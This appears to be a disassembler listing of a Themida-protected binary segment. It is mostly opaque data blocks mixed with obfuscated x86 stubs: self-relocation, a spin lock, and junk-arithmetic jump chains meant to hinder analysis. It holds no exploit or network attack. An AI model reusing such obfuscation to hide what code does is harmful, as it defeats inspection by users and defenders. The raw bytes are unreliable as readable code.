		dd 0F06F883h, 4785h, 8810F00h, 0F000000h, 284h,	8DFC8A00h
		dd 2C4AF5BDh, 68C0F06h,	8B000000h, 2C21D195h, 8EE906h
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
		dd 50400000h, 8C4052C3h, 0D78B6610h, 0F07F883h,	1D85h
		dd 0FF28100h, 0BB1A7C06h, 352108ECh, 1679BD8Dh,	0D68B062Ch
		dd 0CFE9h, 0F3816600h, 0F883C38Dh, 3D850F0Ah, 66000000h
		dd 0BD8DD78Bh, 62C4CEDh, 11E9h,	0F25F1400h, 0B239C21Ah
		dd 0DF3F6BDCh, 0F4CED3C5h, 19E9EA5Eh, 60000000h, 5E5BD33h
		dd 0CE9062Ch, 0FE000000h, 0A9AA98E5h, 73EDA6DDh, 61CC798Dh
		dd 53006A57h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1A04h
		dd 0C3534300h, 0B3323C11h, 0B9238C41h, 1862F451h, 163DBD09h
		dd 3F83062Ch, 43840F00h, 0B7000000h, 800F308Ch,	0C9D1D1C2h
		dd 0F919D33h, 6A47062Ch, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 16042444h, 45000000h, 6C355h, 0B8BA66C8h
		dd 8AD381D0h, 0E956ECD8h, 0FFFFFFBAh, 2D51958Bh, 815F062Ch
		dd 38B82ECBh, 0D6BF0F53h, 4EE9BD89h, 6A062Ch, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 140424h, 53430000h, 8F0FF2C3h
		dd 8, 0CBE28156h, 5B345BF8h, 26C58D8Dh,	6A062Ch, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 0BDD19AC3h, 12E8h, 50CE1700h, 0F8C0DCC1h, 3EB89D22h
		dd 6F128CDAh, 0F0545CBh, 286h, 5AF48A00h, 0A5BB6656h, 9D8B5B67h
		dd 62C0695h, 2401B5FFh,	0FC60062Ch, 5880Fh, 81660000h
		dd 61D62BD7h, 0FDE8C381h, 858D1AFBh, 62EAB32h, 21BD8D50h
		dd 8D062C57h, 2C6E5A8Dh, 1ABCB806h, 0CF2B5483h,	0C8D00730h
		dd 0F8754947h, 6D9CB58Dh, 8D8D062Ch, 62C6E72h, 0A4F3CF2Bh
		dd 0B8C933h, 0B000000h,	834674C0h, 2C239DBDh, 6740006h
		dd 29D595FFh, 0B58B062Ch, 62C4EE9h, 0AB32858Dh,	0D0FF062Eh
		dd 4346858Dh, 0D0FF062Ch, 6ED85C7h, 1062Ch, 0A58B0000h
		dd 62C0F45h, 138DB58Bh,	0AD8B062Ch, 62C2369h, 0CC2C033h
		dd 7E800h, 0CBCD0000h, 88D31FE3h, 6880F73h, 89000000h
		dd 2C1FD58Dh, 10E95A06h, 0F2000000h, 0DC6A45CEh, 0A9C0B323h
		dd 702AFCBh, 6A8EDED2h,	3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 15042444h, 47000000h, 0F1EFC357h,	83DA8B66h
		dd 2C3295BDh, 840F0006h, 4Dh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Dh, 0C4C35242h,	38E924FFh, 0B2E0EAF8h
		dd 0FF48B61Dh, 2C120195h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1604h,	0C3564600h, 0B2D593F2h
		dd 0C1BD8366h, 62C0Eh, 1F7850Fh, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 0FCB87BC3h
		dd 85AC6FBDh, 0F6FF339h, 686h, 0F5B58900h, 83062C06h, 2C09A1BDh
		dd 850F0106h, 1B9h, 0E856006Ah,	3, 5EC35E20h, 4247489h
		dd 4244481h, 15h, 0CBC35646h, 6840F3Dh,	3000000h, 2C154595h
		dd 6D952306h, 83062C1Eh, 2C18E5BDh, 840F0006h, 17Dh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 67C35242h, 3CBD8395h
		dd 62C4Fh, 153840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 190424h, 57470000h, 1FADA2C3h, 893ECE3Dh
		dd 2C1CC5BDh, 0BE906h, 0CC340000h, 0BC208ECFh, 0ACB3AFE2h
		dd 32858D09h, 60062EABh, 14F18D8Bh, 5E9062Ch, 0F3000000h
		dd 0FB8F8E04h, 0E9B58B61h, 66062C4Eh, 8930F4BBh, 2C07D5B5h
		dd 6AD0FF06h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 16042444h, 42000000h, 9A30C352h, 7BEB81B7h, 0C660BEEDh
		dd 2C21AD85h, 6A5406h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1B0424h, 50400000h, 312F67C3h, 75A799FAh, 4D9D892Ch
		dd 68062C0Dh, 0BBF57499h, 3481DE8Bh, 0BBCA6D24h, 0DBBF0F44h
		dd 1671B5FFh, 8166062Ch, 8DE907CAh, 2C3A0C85h, 2FF28006h
		dd 8509D0FFh, 62C1219h,	6A006Ah, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 160424h, 50400000h, 0C0CB2CC3h, 8B66FF6Ah
		dd 6AD0FFD1h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1B042444h, 47000000h, 0ADA5C357h, 1B6AFAD8h,	0B70F8AD2h
		dd 60DD8AD9h, 6CC4D881h, 9D891972h, 62C2D75h, 21B5FF61h
		dd 8B062C0Ah, 2C11FD95h, 195FF06h, 0B7062C24h, 0E9B58BB5h
		dd 6A062C4Eh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 5C75C355h, 0FA57718Ah,	62CA9E4Fh
		dd 0F2D8589h, 6AC3062Ch, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1D042444h, 45000000h, 52E2C355h, 87417C7Dh
		dd 0E8AF1159h, 0B58BDE8Bh, 62C0189h, 0FF60BFCh,	1184h
		dd 81BBB600h, 4CD817D3h, 6C64Ch, 4FDB529h, 8589062Ch, 62C4EF1h
		dd 84DDE281h, 0F8836875h, 0D1840F00h, 0E9000002h, 13h
		dd 2EE1B7EBh, 0B27E383Fh, 9BE7D0DBh, 4E3B2BEFh,	89BEE73Dh
		dd 2C11518Dh, 0B806h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1A0424h, 57470000h, 0C343F1C3h, 7633474Ah
		dd 71422ABBh, 68F0F52h,	81000000h, 18AD8CCAh, 652DBB45h
		dd 0F88328E1h, 0CA840F00h, 0BA000000h, 19BC3422h, 1D0D9D29h
		dd 0F883062Ch, 76850F02h, 0E9000000h, 9, 1BAEC4A0h, 36D86996h
		dd 6C858D25h, 6A062C45h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1C042444h, 40000000h, 0B3AEC350h,	0E1C5E5FDh
		dd 0E98EE42Ch, 10h, 0CFDEF5DEh,	7ACE21E0h, 9DA59DD1h, 0CE3BAB11h
		dd 9292Dh, 0BDD38100h, 904C73FBh, 0BE9h, 760D8900h, 0ECD303E8h
		dd 70CA5410h, 90A6B250h, 81C3FD8Ah, 4E1735F3h, 0B841h
		dd 0A8BB0000h, 0E954700Ah, 1D4h, 0E850006Ah, 3,	58C35820h
		dd 4244489h, 4244481h, 1Dh, 9EC35040h, 7E35D87Eh, 1E9CF0A5h
		dd 0BD9D23EBh, 8B062C1Bh, 2C190595h, 1B806h, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 0F94FEBC3h, 0A66A274Fh, 4571BD8Dh, 0BF0F062Ch, 0A4E9D3h
		dd 0CF800000h, 2F8830Bh, 21850Fh, 60560000h, 8F0Fh, 0B70F0000h
		dd 8D5B61C9h, 2C4769BDh, 0F99D8B06h, 0E9062C23h, 7Ah, 8303DA80h
		dd 850F03F8h, 3Bh, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 19h, 0B3C35040h, 0CB6A0AB4h, 0BD8DF876h, 62C48FDh
		dd 8F67CA81h, 8B663779h, 38E9D3h, 81660000h, 83AFE4D3h
		dd 850F05F8h, 2Ah, 84E9F9h, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 190424h, 57470000h, 8C6AAC3h
		dd 0F1D7E5Dh, 0F57D2B7h, 580h, 1B3BBB00h, 51B93B88h, 661862F4h
		dd 3F83DF8Bh, 43840F00h, 6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 18CCC352h
		dd 0F5E252F9h, 0F30D78Bh, 691AE281h, 0C9D11C3Dh, 0F381D18Bh
		dd 41AEDFBAh, 0D18B6647h, 0FFFFB9E9h, 0EB8166FFh, 0F8830C21h
		dd 61850F05h, 0B000000h, 2C0DAD9Dh, 0D98C6606h,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0E8C35646h, 4C1F684h
		dd 18850Fh, 0B70F0000h,	0B8DFh,	95290000h, 62C0065h, 1FE9h
		dd 0D2816600h, 858B0F11h, 62C1BC1h, 38B0Fh, 0F9530000h
		dd 0D1B70F5Ah, 0B70FE0FFh, 0D18B66D2h, 2401BD83h, 0F00062Ch
		dd 0F585h, 9E8F900h, 59000000h,	32E29120h, 38A6AEE9h, 1040BB66h
		dd 35BB505Bh, 89248C25h, 6A2404h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 160424h, 51410000h, 844D1CC3h, 21AD85C6h
		dd 6A45062Ch, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1D042444h, 40000000h, 0BA6FC350h, 1B2D585Fh,	4A787A6Fh
		dd 919D8B51h, 5B062C11h, 68B0E680h, 0E514088Ah,	3481F18Ah
		dd 6661E324h, 0CE68BB6Bh, 0B5FF0AB2h, 62C1671h,	5E9h, 775E0B00h
		dd 858DE2F2h, 62C3A0Ch,	0AE8h, 53CAC900h, 0AEA27274h, 0FF8B9A9h
		dd 68Dh, 719D8B00h, 5B062C05h, 6AD0FFh,	3E856h,	5E200000h
		dd 74895EC3h, 44810424h, 140424h, 56460000h, 0BF0FBAC3h
		dd 18589D3h, 8B062C24h,	2C11DD95h, 8B566006h, 2C0FC1BDh
		dd 58615806h, 1BA5B501h, 0BD83062Ch, 62C4F40h, 1C840F00h
		dd 57000000h, 0FF5AD78Bh, 2C0A21B5h, 0B19D8B06h, 0FF062C11h
		dd 2C240195h, 0B9BD8906h, 83062C24h, 850F00F8h,	0C0h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0B0C35242h, 24E5958Bh
		dd 0BD83062Ch, 62C1A35h, 43840F00h, 89000000h, 2C23618Dh
		dd 35B5FF06h, 8B062C1Ah, 2C1C599Dh, 1B806h, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 880D33C3h, 0D78BBCFDh, 191E9h, 0B3EF8000h, 0B5FFEAB2h
		dd 62C0A21h, 0CB816650h, 0FF5A37E1h, 2C0A21B5h,	0C59D8B06h
		dd 0FF062C24h, 2C2401B5h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 0A98E76ABh
		dd 0E95F4DD9h, 146h, 28B0Fh, 0D78B0000h, 958B515Fh, 62C04F5h
		dd 6CDE805Bh, 1435BD83h, 0F00062Ch, 7185h, 0AE800h, 81BB0000h
		dd 8A5E14EDh, 72FB698Bh, 5AD1EB80h, 0AC1958Bh, 85C6062Ch
		dd 62C21ADh, 2810F4Dh, 0B6000000h, 99B068E3h, 0D18B6163h
		dd 0F8240481h, 6642D1DCh, 17C3EA81h, 25C9B5FFh,	8166062Ch
		dd 8D238DC3h, 2C3A0C85h, 0C2816606h, 0D0FFA8D7h, 0E58D8960h
		dd 89062C23h, 2C2C5D95h, 85896106h, 62C1435h
		dd 5E9h, 5F634100h, 0B8044Bh, 0E9000000h, 12h, 0F4511591h
		dd 184982DBh, 8A4273CCh, 0E6BC8467h, 0BD89F6F5h, 62C4EE9h
		dd 68C0Fh, 0BD010000h, 62C3389h, 840FC00Bh, 2Eh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0FC35040h, 43B70D30h
		dd 85315DE9h, 62C0B45h,	51E9h, 0B5FFFC00h, 62C2401h, 8D3EC780h
		dd 2EAB3285h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1A04h, 0C3524200h, 0EC93DB13h, 89106ED0h, 2C29B19Dh
		dd 52509006h, 615E5260h, 91BB310Fh, 5A061B15h, 0BB665058h
		dd 80909262h, 5650EEC2h, 5721BD8Dh, 8D8D062Ch, 62C7815h
		dd 8323BCB8h, 30CF2B74h, 47C8D007h, 5EF87549h, 35BD8358h
		dd 62C1Ah, 8D8B0674h, 62C13B9h,	0B8C933h, 0B000000h, 0A8840FC0h
		dd 83000000h, 2C239DBDh, 6740006h, 29D595FFh, 0B8062Ch
		dd 0B000000h, 830975C0h, 2C4EF1BDh, 9740106h, 4EF1BD83h
		dd 7502062Ch, 0E9B58B0Eh, 8D062C4Eh, 2EAB3285h,	83D0FF06h
		dd 2C3295BDh, 6740006h,	120195FFh, 858D062Ch, 62C4346h
		dd 0BD83D0FFh, 62C2085h, 8B2F7502h, 2C0F45A5h, 35858B06h
		dd 89062C1Ah, 85C72404h, 62C06EDh, 1, 4EEDB58Bh, 0AD8B062Ch
		dd 62C2369h, 1B8h, 0CC200h, 85C700EBh, 62C06EDh, 1, 0F45A58Bh
		dd 0B58B062Ch, 62C138Dh, 2369AD8Bh, 0C033062Ch,	83000CC2h
		dd 2C3295BDh, 0F740006h, 1201BD83h, 7400062Ch, 195FF06h
		dd 8B062C12h, 2C4EE9B5h, 8952C306h, 2C11FD9Dh, 6A5B06h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 2E313BC3h, 0B5296A0Fh, 62C12D5h, 0BAh, 0DE900h, 0D3CC0000h
		dd 0D6AF5FA7h, 0E06071BDh, 0FCC3F688h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		push	edx
		push	esi
		mov	edi, [ebp+8]
		xor	eax, eax
		jmp	short loc_501478
; ---------------------------------------------------------------------------


loc_501476:				; CODE XREF: Themida_:0050147Bj
		inc	eax
		inc	edi


loc_501478:				; CODE XREF: Themida_:00501474j
		cmp	byte ptr [edi],	0
		jnz	short loc_501476
		xor	ecx, ecx
		mov	edi, [ebp+8]
		jmp	short loc_5014A7
; ---------------------------------------------------------------------------


loc_501484:				; CODE XREF: Themida_:005014A9j
		xor	edx, edx
		mov	dl, [edi]
		sub	dl, 30h
		mov	esi, eax
		dec	esi
		push	eax
		mov	eax, edx
		push	ebx
		mov	ebx, 0Ah
		jmp	short loc_50149C
; ---------------------------------------------------------------------------


loc_501499:				; CODE XREF: Themida_:0050149Fj
		mul	ebx
		dec	esi


loc_50149C:				; CODE XREF: Themida_:00501497j
		cmp	esi, 0
		ja	short loc_501499
		pop	ebx
		add	ecx, eax
		pop	eax
		inc	edi
		dec	eax


loc_5014A7:				; CODE XREF: Themida_:00501482j
		or	eax, eax
		jnz	short loc_501484
		mov	eax, ecx
		pop	esi
		pop	edx
		pop	edi
		pop	ecx
		leave
		retn	4
; ---------------------------------------------------------------------------
		db 6Ah,	0, 50h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1A04h, 0C3504000h
		dd 2262F659h, 29979B6Fh, 2C1509BDh, 0C1958B06h,	8B062C2Dh
		dd 2768E9C1h, 280002h, 0B2640256h, 98DE0057h, 0B2640057h
		dd 3F0057h, 0FF6C0256h,	12h, 2020000h, 20000h, 2 dup(10000h)
		dd 9B1E0000h, 0FA23h, 4	dup(0)
		dd 41970000h, 22210050h, 80880050h, 90F00050h, 36E40050h
		dd 0B7390050h, 70850050h, 29930050h, 0BB170050h, 0B0580050h
		dd 5F5C0050h, 75F80050h, 3D090050h, 395F0050h, 0CD270050h
		dd 316C0050h, 66340050h, 1F490050h, 98A20050h, 0B7690050h
		dd 0A9470050h, 385F0050h, 66CC0050h, 5DE00050h,	0D6930050h
		dd 0D2220050h, 9FE50050h, 41580050h, 0B0A60050h, 616B0050h
		dd 6F520050h, 0C7140050h, 0B1B40050h, 27C90050h, 829B0050h
		dd 50640050h, 83F50050h, 2F330050h, 0AEBA0050h,	77A90050h
		dd 529B0050h, 5F280050h, 0D8490050h, 0AA410050h, 28970050h
		dd 6B550050h, 90160050h, 7F360050h, 0CA5C0050h,	62CF0050h
		dd 7D800050h, 5F4C0050h, 0D5380050h, 7D270050h,	4EE90050h
		dd 0ABC60050h, 74E30050h, 8C300050h, 77A10050h,	6B1F0050h
		dd 0D9E40050h, 0B4DA0050h, 94680050h, 0A5800050h, 59B10050h
		dd 5DC90050h, 701A0050h, 0B41F0050h, 2CFB0050h,	224B0050h
		dd 6F2C0050h, 5D020050h, 24380050h, 8EDD0050h, 0C8400050h
		dd 0A8980050h, 0D8D10050h, 73AC0050h, 51DC0050h, 792C0050h
		dd 56970050h, 0C2830050h, 7A8B0050h, 7F8C0050h,	0B06B0050h
		dd 0B66E0050h, 80660050h, 55CF0050h, 39820050h,	0A5EA0050h
		dd 0A4750050h, 8DA40050h, 7FA70050h, 232B0050h,	0C4780050h
		dd 278C0050h, 413E0050h, 19530050h, 0AD540050h,	3F4C0050h
		dd 52F20050h, 4EB10050h, 0C5300050h, 0C2220050h, 0BB560050h
		dd 35220050h, 3F7E0050h, 0B6360050h, 67D10050h,	75000050h
		dd 8A260050h, 0B7FB0050h, 40540050h, 0A3570050h, 0D9A20050h
		dd 0A18D0050h, 0CFC30050h, 982A0050h, 9CF80050h, 4FFE0050h
		dd 6D6A0050h, 1DDB0050h, 49430050h, 3D000050h, 95820050h
		dd 568F0050h, 4B880050h, 80A80050h, 4AF40050h, 57460050h
		dd 52480050h, 96A80050h, 9D320050h, 46420050h, 6A550050h
		dd 0A64F0050h, 558F0050h, 0CFE20050h, 0ACAE0050h, 479B0050h
		dd 639B0050h, 38400050h, 95150050h, 0CE2A0050h,	89850050h
		dd 0D84F0050h, 284D0050h, 0DD450050h, 28DC0050h, 0CAF30050h
		dd 666C0050h, 650B0050h, 0BF1C0050h, 0B5660050h, 0AE3E0050h
		dd 26940050h, 26060050h, 99E40050h, 881E0050h, 999F0050h
		dd 0B3350050h, 9D3D0050h, 80FD0050h, 0BD070050h, 43320050h
		dd 3B3E0050h, 426F0050h
		db 50h,	0
; ---------------------------------------------------------------------------


loc_5017CA:				; CODE XREF: Themida_:0052EF92j
					; Themida_:0053494Dj ...
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 62C7CB4h
		mov	eax, edi
		add	edi, 62C79CCh
		cmp	eax, [edi+2Ch]
		jnz	short loc_5017E8
		jmp	short loc_5017FB
; ---------------------------------------------------------------------------


loc_5017E8:				; CODE XREF: Themida_:005017E4j
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_5017F7
; ---------------------------------------------------------------------------


loc_5017F2:				; CODE XREF: Themida_:005017F9j
		add	[edi+ecx*4+40h], eax
		dec	ecx


loc_5017F7:				; CODE XREF: Themida_:005017F0j
		or	ecx, ecx
		jnz	short loc_5017F2


loc_5017FB:				; CODE XREF: Themida_:005017E6j
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1


loc_501808:				; CODE XREF: Themida_:0050180Fj
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_501808


loc_501811:				; CODE XREF: Themida_:00501B5Dj
					; Themida_:loc_502D2Ej	...
		lodsb
		jmp	loc_50CD6E
; ---------------------------------------------------------------------------
		db 89h
		dd 4C181E1h, 81000000h,	4C1h, 240C8700h, 5724248Bh, 8A2FF1BFh
		dd 0D7F74732h, 8108E7C1h, 9DFA6BEFh, 5FF8296Ch,	326BF57h
		dd 0F8310ED3h, 56243C8Bh, 0C681E689h, 4, 4C681h, 34870000h
		dd 6ED4E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_501862:				; CODE XREF: Themida_:0050807Bj
		pop	esp
		shr	ecx, 0Ah
		push	edi
		mov	edi, ebx
		mov	eax, edi
		push	dword ptr [esp]
		pop	edi
		jmp	loc_50943B
; ---------------------------------------------------------------------------
		dd 2474FF57h, 48F5F04h,	6EE95C24h
		db 7Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_501883:				; CODE XREF: Themida_:0050A331j
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		movzx	ecx, al
		push	ebx
		mov	ebx, esp
		push	ecx
		mov	ecx, 9AD18CEh
		push	ecx
		not	dword ptr [esp]
		pop	ecx
		push	ebp
		mov	ebp, 0FFFFFFFFh
		add	ecx, 76604EC8h
		sub	ecx, ebp
		sub	ecx, 76604EC8h
		pop	ebp
		add	ecx, 1
		not	ecx
		add	ecx, 0F652E738h
		add	ebx, ecx
		pop	ecx
		push	edx
		mov	edx, 4
		sub	ebx, edx
		jmp	loc_50743A
; ---------------------------------------------------------------------------
		db 68h
		dd 5AE7h, 0E9240C89h, 9BD4h, 8904EC83h,	4832424h, 1C8B0424h
		dd 4C48124h, 52000000h,	48B9E9h
		db 0
; ---------------------------------------------------------------------------


loc_5018F5:				; CODE XREF: Themida_:0050B381j
		or	edx, eax
		shl	edx, 1
		push	eax
		push	ebp
		push	ebx
		mov	ebx, 549A469Dh
		push	ebp
		mov	ebp, 0D22AD742h
		add	ebx, 40A6973h
		add	ebx, ebp
		jmp	loc_5029F1
; ---------------------------------------------------------------------------
		dd 875BDE01h, 0A0E92434h, 81000011h, 6F26E1EEh,	81DE2917h
		dd 6F26E1C6h, 0EE015B17h, 4E78E9h, 59C82900h, 2503E0C1h
		dd 26CE4AC6h, 842BA52h,	39E90048h, 870000B3h, 17E92434h
		dd 6600008Bh, 8124048Bh, 4ECh, 241C8900h, 0C381E389h, 4
		dd 5D91B850h, 0FEE949B9h, 1000073h, 242C8BE9h, 0E904C483h
		dd 8E06h, 24048B66h, 6E6CE955h,	685E0000h, 7EC6h, 2FD7E9h
		db 0
; ---------------------------------------------------------------------------


loc_501995:				; CODE XREF: Themida_:00507139j
		neg	esi
		shr	esi, 7
		xor	esi, 1914E703h
		jmp	loc_502CD2
; ---------------------------------------------------------------------------


loc_5019A5:				; CODE XREF: Themida_:0050B2A9j
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		or	edx, eax
		jmp	loc_50B678
; ---------------------------------------------------------------------------


loc_5019B8:				; CODE XREF: Themida_:005099DFj
		and	eax, edi
		mov	edi, [esp]
		jmp	loc_508E15
; ---------------------------------------------------------------------------
		dw 5758h
		dd 3064E7BFh, 0EF811Dh,	29BE5B0Eh, 0D9315FFBh, 81241C8Bh
		dd 4C4h, 59C80100h, 0EC9E955h, 23B50000h, 0BB14E9h, 0F0015800h
		dd 2404875Eh, 0F24248Bh, 0E368C8BFh, 89000008h,	0AE9240Ch
		dd 89FFFFFEh, 4C781E7h,	81000000h, 4C7h, 243C8700h, 3FF6E9h
		dd 8F545C00h, 64682404h, 89000065h, 20E9240Ch, 4000060h
		dd 2CC8280Ah, 2C682C0Ah, 68596620h, 63FCh, 52241C89h, 517CB753h
		dd 0E2B2F0B5h, 9E7DE9h,	4C48100h, 88000000h, 0CDFE5AD5h
		dd 8099F580h, 0E5E9C2EDh, 58000039h, 0A471E9h
		db 0
; ---------------------------------------------------------------------------


loc_501A6D:				; CODE XREF: Themida_:00507AFCj
		sub	esp, 4
		push	esp
		jmp	loc_50980B
; ---------------------------------------------------------------------------
		db 81h,	0EFh, 0Ah
		dd 1729B2Dh, 457568CFh,	1C890000h, 2A29BB24h, 0CB815B68h
		dd 6F8326CBh, 6184E381h, 0BD550187h, 45E25DBFh,	555DEB31h
		dd 0E054E1BDh, 5DEB312Ah, 4D4F381h, 0DF011C1Ah,	0BA68525Bh
		dd 5A190444h, 71E9D729h, 880000A1h, 88D0F6C8h, 0E95058C1h
		dd 0A6E6h, 4C481h, 0D0F70000h, 0D3B49C35h, 0B5E950A3h
		db 28h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_501AE3:				; CODE XREF: Themida_:00502C3Ej
		push	ecx
		mov	ecx, 3F32758Ah
		jmp	loc_50CFD1
; ---------------------------------------------------------------------------
		dw 0CA2Dh
		dd 514BB840h, 214AAAB9h, 0A4C9812Dh, 0E925091Ch, 6FF3h
		dd 3004F280h, 0B7535AD5h, 0B6CF80F0h, 0C005EFC0h, 0E78007E7h
		dd 49EF80C7h, 73E9FD20h, 0E9000019h, 0FFFFFCE9h, 60E95F54h
		dd 81000036h, 4C4h, 0FCD7E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_501B3A:				; CODE XREF: Themida_:00504EC4j
		pop	ebx
		add	esp, 4
		mov	[edi+38h], ch
		push	dword ptr [esp]
		pop	ecx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_501811
; ---------------------------------------------------------------------------
		dw 0E3BBh
		dd 81120532h, 4F2CEECBh, 5195E91Eh, 0E95A0000h,	2BBDh
; ---------------------------------------------------------------------------


loc_501B78:				; CODE XREF: Themida_:0050D250j
		pop	edx
		add	ecx, esi
		mov	esi, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_509A8B
; ---------------------------------------------------------------------------


loc_501B8C:				; CODE XREF: Themida_:0050D202j
		sub	bl, 0A9h
		add	bl, al
		add	bl, 0A9h
		push	1FC8h
		mov	[esp], eax
		push	4911h
		mov	[esp], ebx
		mov	bl, 0E7h
		mov	al, 93h
		xor	al, bl
		mov	ebx, [esp]
		add	esp, 4
		inc	al
		dec	al
		dec	al
		not	al
		push	ebx
		mov	bl, 3Eh
		sub	bl, 0D4h
		sub	bl, 5Fh
		jmp	loc_50678C
; ---------------------------------------------------------------------------
		db 81h,	0EDh, 75h
		dd 8164A731h, 8511ACC5h, 0CD814531h, 4E740ADEh,	0CC44ED81h
		dd 0E801A353h, 9A96E95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_501BEA:				; CODE XREF: Themida_:005020A7j
		xor	edx, 1012304h
		add	ebx, edx
		pop	edx
		push	edx
		push	ebx
		mov	ebx, 11F3008Ah
		jmp	loc_505365
; ---------------------------------------------------------------------------
		db 5Dh
		dd 5E08950h, 4,	405h, 96F1E900h, 0E95C0000h, 0FF8h
; ---------------------------------------------------------------------------


loc_501C18:				; CODE XREF: Themida_:005078DBj
		mov	[esp], edi
		mov	edi, 0FFFFh
		jmp	loc_50BB39
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 0C00AE9h, 81C10100h,	817E89C1h, 550E90Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_50564B
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 4, 8704C683h, 248B2434h, 724EE924h, 0E6810000h, 23F0255Eh
		dd 6988F681h, 0DEF7539Ch, 7E6C146h, 39BF574Eh, 4764B37Bh
		dd 0BAF78147h, 472D497Eh, 42C2EF81h, 0C7811095h, 3A07F11Fh
		dd 0D7CE9h
		db 0
; ---------------------------------------------------------------------------


loc_501C89:				; CODE XREF: Themida_:00507DB5j
		and	eax, 73AE1C43h
		add	eax, 101E44C3h
		jmp	loc_50341B
; ---------------------------------------------------------------------------
		dd 2C8BEA01h, 4C48124h,	29000000h, 0B764E9FAh, 48F0000h
		dd 9CE95C24h, 50000021h, 4055854h, 68000000h, 0A80h, 56243C89h
		dd 5BE6E9h, 24048900h, 1CDBE9h,	4C28100h, 81000000h, 4EAh
		dd 24148700h, 241C895Ch, 3C68h,	0B9515B00h, 68D6285Ch
		dd 0C8BCB01h, 4C48324h,	0D5CE9h, 81DD0100h, 340897EDh
		dd 9C0AE914h, 0D3F60000h, 8002E3C0h, 0D828DDC3h, 6851665Bh
		dd 54BFh, 0B3241C89h, 86E38074h, 80F7EB80h, 0F380E8C3h
		dd 77D3E9D4h, 34FF0000h
		db 24h,	5Eh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_505752
; ---------------------------------------------------------------------------
		dw 12BBh
		dd 0B80ACF56h, 0ACF5616h, 15BD831h, 0E9042444h,	776Bh
		dd 24043192h, 580AE9h, 15DEB800h, 0C1014D9Bh, 59CB2958h
		dd 0C381FB01h, 6C8535DEh, 2BF575Fh, 1000000h, 40BAE9FBh
		dd 0F1810000h, 74658C5Bh, 0C8BC801h, 4C48124h, 68000000h
		dd 2B44h, 68241C89h, 59CE1283h,	0A80E95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_501DA2:				; CODE XREF: Themida_:00502B23j
		pop	edi
		inc	edi
		sub	edi, 2D442D59h
		add	ecx, edi
		jmp	loc_5089FD
; ---------------------------------------------------------------------------
		db 81h,	0F3h, 0C1h
		dd 0FF2A3746h, 81582434h, 4C4h,	60346800h, 3C890000h, 83C78924h
		dd 0C8904ECh, 52F98924h, 0FCE9CA89h, 0FF000080h, 53582434h
		dd 0C381E389h, 4, 728168h, 240C8900h, 2580E9h, 4DEC6800h
		dd 8159711Bh, 0C3B173C1h, 8EAE98Eh, 0B60F0000h,	94B2E9C0h
		dd 51660000h, 5FC2B966h, 66C80166h, 0D8296659h,	0EC815266h
		dd 2, 65B4E9h, 2404FF00h, 0F9DFE99Ch, 0EB29FFFFh, 6354E95Dh
